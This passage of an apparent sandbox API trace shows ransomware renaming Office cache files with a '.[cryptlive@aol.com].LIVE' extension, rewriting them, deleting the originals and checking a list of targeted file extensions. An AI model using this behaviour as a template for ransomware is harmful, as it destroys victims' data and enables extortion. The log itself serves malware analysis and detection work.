lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.527] SetEndOfFile (hFile=0x180) returned 1 [0037.527] CloseHandle (hObject=0x180) returned 1 [0037.528] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.528] SetEndOfFile (hFile=0x17c) returned 1 [0037.529] CloseHandle (hObject=0x17c) returned 1 [0037.529] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.529] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.529] lstrlenW (lpString=".doc") returned 4 [0037.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.529] lstrlenW (lpString=".docx") returned 5 [0037.529] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.529] lstrlenW (lpString=".pdf") returned 4 [0037.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.529] lstrlenW (lpString=".xls") returned 4 [0037.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString=".xlsx") returned 5 [0037.530] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.530] lstrlenW (lpString=".ppt") returned 4 [0037.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.530] lstrlenW (lpString=".zip") returned 4 [0037.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.530] lstrlenW (lpString=".rar") returned 4 [0037.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString=".bz2") returned 4 [0037.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString=".7z") returned 3 [0037.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.530] lstrlenW (lpString=".dbf") returned 4 [0037.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.530] lstrlenW (lpString=".1cd") returned 4 [0037.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.530] lstrlenW (lpString=".jpg") returned 4 [0037.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.530] lstrlenW (lpString=".doc") returned 4 [0037.530] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString=".docx") returned 5 [0037.530] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.530] lstrlenW (lpString=".pdf") returned 4 [0037.530] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.530] lstrlenW (lpString=".xls") returned 4 [0037.530] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.531] lstrlenW (lpString=".xlsx") returned 5 [0037.531] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.531] lstrlenW (lpString=".ppt") returned 4 [0037.531] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.531] lstrlenW (lpString=".zip") returned 4 [0037.531] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.531] lstrlenW (lpString=".rar") returned 4 [0037.531] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.531] lstrlenW (lpString=".bz2") returned 4 [0037.531] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.531] lstrlenW (lpString=".7z") returned 3 [0037.531] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.531] lstrlenW (lpString=".dbf") returned 4 [0037.531] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.531] lstrlenW (lpString=".1cd") returned 4 [0037.531] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.531] lstrlenW (lpString=".jpg") returned 4 [0037.531] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.531] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.531] lstrlenW (lpString="Setup.xml") returned 9 [0037.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.532] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1608) returned 1 [0037.532] CloseHandle (hObject=0x17c) returned 1 [0037.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.532] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.532] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.532] GetLastError () returned 0x0 [0037.532] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x648, lpOverlapped=0x0) returned 1 [0037.534] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x650, lpOverlapped=0x0) returned 1 [0037.535] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.535] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.535] SetEndOfFile (hFile=0x180) returned 1 [0037.535] CloseHandle (hObject=0x180) returned 1 [0037.536] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.536] SetEndOfFile (hFile=0x17c) returned 1 [0037.537] CloseHandle (hObject=0x17c) returned 1 [0037.537] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.537] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.538] lstrlenW (lpString=".doc") returned 4 [0037.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.538] lstrlenW (lpString=".docx") returned 5 [0037.538] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.538] lstrlenW (lpString=".pdf") returned 4 [0037.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.538] lstrlenW (lpString=".xls") returned 4 [0037.538] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.538] lstrlenW (lpString=".xlsx") returned 5 [0037.538] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.538] lstrlenW (lpString=".ppt") returned 4 [0037.538] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.538] lstrlenW (lpString=".zip") returned 4 [0037.538] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.538] lstrlenW (lpString=".rar") returned 4 [0037.538] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.538] lstrlenW (lpString=".bz2") returned 4 [0037.538] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.538] lstrlenW (lpString=".7z") returned 3 [0037.538] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.538] lstrlenW (lpString=".dbf") returned 4 [0037.538] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.538] lstrlenW (lpString=".1cd") returned 4 [0037.538] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.538] lstrlenW (lpString=".jpg") returned 4 [0037.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.539] lstrlenW (lpString=".doc") returned 4 [0037.539] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString=".docx") returned 5 [0037.539] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.539] lstrlenW (lpString=".pdf") returned 4 [0037.539] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString=".xls") returned 4 [0037.539] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString=".xlsx") returned 5 [0037.539] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.539] lstrlenW (lpString=".ppt") returned 4 [0037.539] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.539] lstrlenW (lpString=".zip") returned 4 [0037.539] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.539] lstrlenW (lpString=".rar") returned 4 [0037.539] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString=".bz2") returned 4 [0037.539] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString=".7z") returned 3 [0037.539] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.539] lstrlenW (lpString=".dbf") returned 4 [0037.539] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.539] lstrlenW (lpString=".1cd") returned 4 [0037.539] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.539] lstrlenW (lpString=".jpg") returned 4 [0037.539] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.540] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.540] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0037.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.541] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3186) returned 1 [0037.541] CloseHandle (hObject=0x17c) returned 1 [0037.541] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0037.541] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.541] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.541] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.541] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.541] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.541] GetLastError () returned 0x0 [0037.542] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xc72, lpOverlapped=0x0) returned 1 [0037.837] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0037.838] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.838] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0037.839] SetEndOfFile (hFile=0x180) returned 1 [0037.839] CloseHandle (hObject=0x180) returned 1 [0037.839] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.839] SetEndOfFile (hFile=0x17c) returned 1 [0037.840] CloseHandle (hObject=0x17c) returned 1 [0037.840] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.841] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0037.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.841] lstrlenW (lpString=".doc") returned 4 [0037.841] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.841] lstrlenW (lpString=".docx") returned 5 [0037.841] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.841] lstrlenW (lpString=".pdf") returned 4 [0037.841] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.841] lstrlenW (lpString=".xls") returned 4 [0037.841] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.841] lstrlenW (lpString=".xlsx") returned 5 [0037.841] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.841] lstrlenW (lpString=".ppt") returned 4 [0037.841] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.841] lstrlenW (lpString=".zip") returned 4 [0037.841] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.841] lstrlenW (lpString=".rar") returned 4 [0037.841] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.841] lstrlenW (lpString=".bz2") returned 4 [0037.841] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.841] lstrlenW (lpString=".7z") returned 3 [0037.841] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.841] lstrlenW (lpString=".dbf") returned 4 [0037.841] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.842] lstrlenW (lpString=".1cd") returned 4 [0037.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.842] lstrlenW (lpString=".jpg") returned 4 [0037.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.842] lstrlenW (lpString=".doc") returned 4 [0037.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString=".docx") returned 5 [0037.842] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.842] lstrlenW (lpString=".pdf") returned 4 [0037.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString=".xls") returned 4 [0037.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString=".xlsx") returned 5 [0037.842] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.842] lstrlenW (lpString=".ppt") returned 4 [0037.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.842] lstrlenW (lpString=".zip") returned 4 [0037.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.842] lstrlenW (lpString=".rar") returned 4 [0037.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString=".bz2") returned 4 [0037.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString=".7z") returned 3 [0037.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.842] lstrlenW (lpString=".dbf") returned 4 [0037.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.843] lstrlenW (lpString=".1cd") returned 4 [0037.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0037.843] lstrlenW (lpString=".jpg") returned 4 [0037.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.843] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.843] lstrlenW (lpString="Setup.xml") returned 9 [0037.843] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.843] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2362) returned 1 [0037.843] CloseHandle (hObject=0x17c) returned 1 [0037.843] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.843] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.843] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.843] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.844] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.844] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.844] GetLastError () returned 0x0 [0037.844] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x93a, lpOverlapped=0x0) returned 1 [0037.845] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x940, lpOverlapped=0x0) returned 1 [0037.846] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.846] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, 